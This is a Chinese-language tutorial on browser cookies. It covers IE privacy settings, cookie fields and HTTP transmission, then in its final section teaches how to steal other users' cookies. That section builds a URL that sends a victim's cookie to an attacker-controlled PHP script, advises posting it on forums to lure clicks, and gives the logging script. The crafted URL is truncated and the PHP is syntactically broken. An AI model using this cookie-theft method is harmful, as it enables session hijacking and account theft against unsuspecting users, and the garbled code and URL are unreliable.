一、了解Cookie 適用對象:初級讀者
Cookie是當你瀏覽某網站時,網站存儲在你機器上的一個小文本文件,它記錄了你的用戶ID,密碼、瀏覽過的網頁、停留的時間等信息,當你再次來到該網站時,網站通過讀取Cookie,得知你的相關信息,就可以做出相應的動作,如在頁面顯示歡迎你的標語,或者讓你不用輸入ID、密碼就直接登錄等等。你可以在IE的“工具/Internet選項”的“常規”選項卡中,選擇“設置/查看文件”,查看所有保存到你電腦里的Cookie。這些文件通常是以user@domain格式命名的,user是你的本地用戶名,domain是所訪問的網站的域名。如果你使用NetsCape瀏覽器,則存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,與IE不同的是,NETSCAPE是使用一個Cookie 文件記錄所有網站的Cookies。
為了保證上網安全我們需要對Cookie進行適當設置。打開“工具/Internet選項”中的“隱私”選項卡(注意該設置只在IE6.0中存在,其他版本IE可以在“工具/Internet選項”的“安全”標簽中單擊“自定義級別”按鈕,進行簡單調整),調整Cookie的安全級別。通常情況,可以將滑塊調整到“中高”或者“高”的位置。多數的論壇站點需要使用Cookie信息,如果你從來不去這些地方,可以將安全級調到“阻止所有Cookies”。如果只是為了禁止個別網站的Cookie,可以單擊“編輯”按鈕,將要屏蔽的網站添加到列表中。在“高級”按鈕選項中,你可以對第一方Cookie和第三方的Cookie進行設置,第一方Cookie是你正在瀏覽的網站的Cookie,第三方Cookie非正在瀏覽的網站發給你的Cookie,通常要對第三方Cookie選擇“拒絕”,如圖1。你如果需要保存Cookie,可以使用IE的“導入導出”功能,打開“文件/導入導出”,按提示操作即可。
Cookie中的內容大多數經過了加密處理,因此在我們看來只是一些毫無意義的字母數字組合,只有服務器的CGI處理程序才知道它們真正的含義。通過一些軟件我們可以查看到更多的內容,使用Cookie Pal軟件查看到的Cookie信息,如圖2所示。它為我們提供了Server、Expires、Name、value等選項的內容。其中,Server是存儲Cookie的網站,Expires記錄了Cookie的時間和生命期,Name和value字段則是具體的數據(本報第10期第42版對該軟件有詳細介紹)。
下載地址:www.cbifamily.com/down/200411/cfnetwork/cp1.exe。
二、Cookie的傳遞流程 適用對象:中級讀者
當在瀏覽器地址欄中鍵入了一個Web站點的URL,瀏覽器會向該Web站點發送一個讀取網頁的請求,并將結果在顯示器上顯示。這時該網頁在你的電腦上尋找Amazon網站設置的Cookie文件,如果找到,瀏覽器會把Cookie文件中的數據連同前面輸入的URL一同發送到Amazon服務器。服務器收到Cookie數據,就會在他的數據庫中檢索你的ID,你的購物記錄、個人喜好等信息,并記錄下新的內容,增加到數據庫和Cookie文件中去。如果沒有檢測到Cookie或者你的Cookie信息與數據庫中的信息不符合,則說明你是第一次瀏覽該網站,服務器的CGI程序將為你創建新的ID信息,并保存到數據庫中。
Cookie是利用了網頁代碼中的HTTP頭信息進行傳遞的,瀏覽器的每一次網頁請求,都可以伴隨Cookie傳遞,例如,瀏覽器的打開或刷新網頁操作。服務器將Cookie添加到網頁的HTTP頭信息中,伴隨網頁數據傳回到你的瀏覽器,瀏覽器會根據你電腦中的Cookie設置選擇是否保存這些數據。如果瀏覽器不允許Cookie保存,則關掉瀏覽器后,這些數據就消失。Cookie在電腦上保存的時間是不一樣的,這些都是由服務器的設置不同決定得。Cookie有一個Expires(有效期)屬性,這個屬性決定了Cookie的保存時間,服務器可以通過設定Expires字段的數值,來改變Cookie的保存時間。如果不設置該屬性,那么Cookie只在瀏覽網頁期間有效,關閉瀏覽器,這些Cookie自動消失,絕大多數網站屬于這種情況。通常情況下,Cookie包含Server、Expires、Name、value這幾個字段,其中對服務器有用的只是Name和value字段,Expires等字段的內容僅僅是為了告訴瀏覽器如何處理這些Cookies。
三、Cookie的編程實現 適用對象:高級讀者
多數網頁編程語言都提供了對Cookie的支持。如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在這些面向對象的編程語言中,對Cookie的編程利用基本上是相似的,大體過程為:先創建一個Cookie對象(Object),然后利用控制函數對Cookie進行賦值、讀取、寫入等操作。那么如何通過代碼來獲取其他用戶Cookie中的敏感信息?下面進行簡單的介紹。
該方法主要有兩步,首先要定位你需要收集Cookie的網站,并對其進行分析,并構造URL;然后編制收集Cookie的PHP代碼,并將其放到你可以控制的網站上,當不知情者單擊了你構造的URL后可以執行該PHP代碼。下面我們看具體的實現過程。
1.分析并構造URL
首先打開我們要收集Cookie的網站,這里假設是
target="_blank">http://www.XXX.net/txl/login/log ... swd=&ok.x=28&ok.y=6”。其中http:///www.cbifamily.org/cbi.php就是你能夠控制的某臺主機上的一個腳本。需要注意的是“%2B”為符號“+”的URL編碼,因為“+”將被作為空格處理。該URL就可以在論壇中發布,誘使別人點擊了。 2.編制PHP腳本 該腳本的作用就是收集Cookie文件,具體內容如下: $info = getenv("QUERY_STRING"; if ($info) { $fp = fopen("info.txt","a"; fwrite($fp,$info."\n"; fclose($fp); }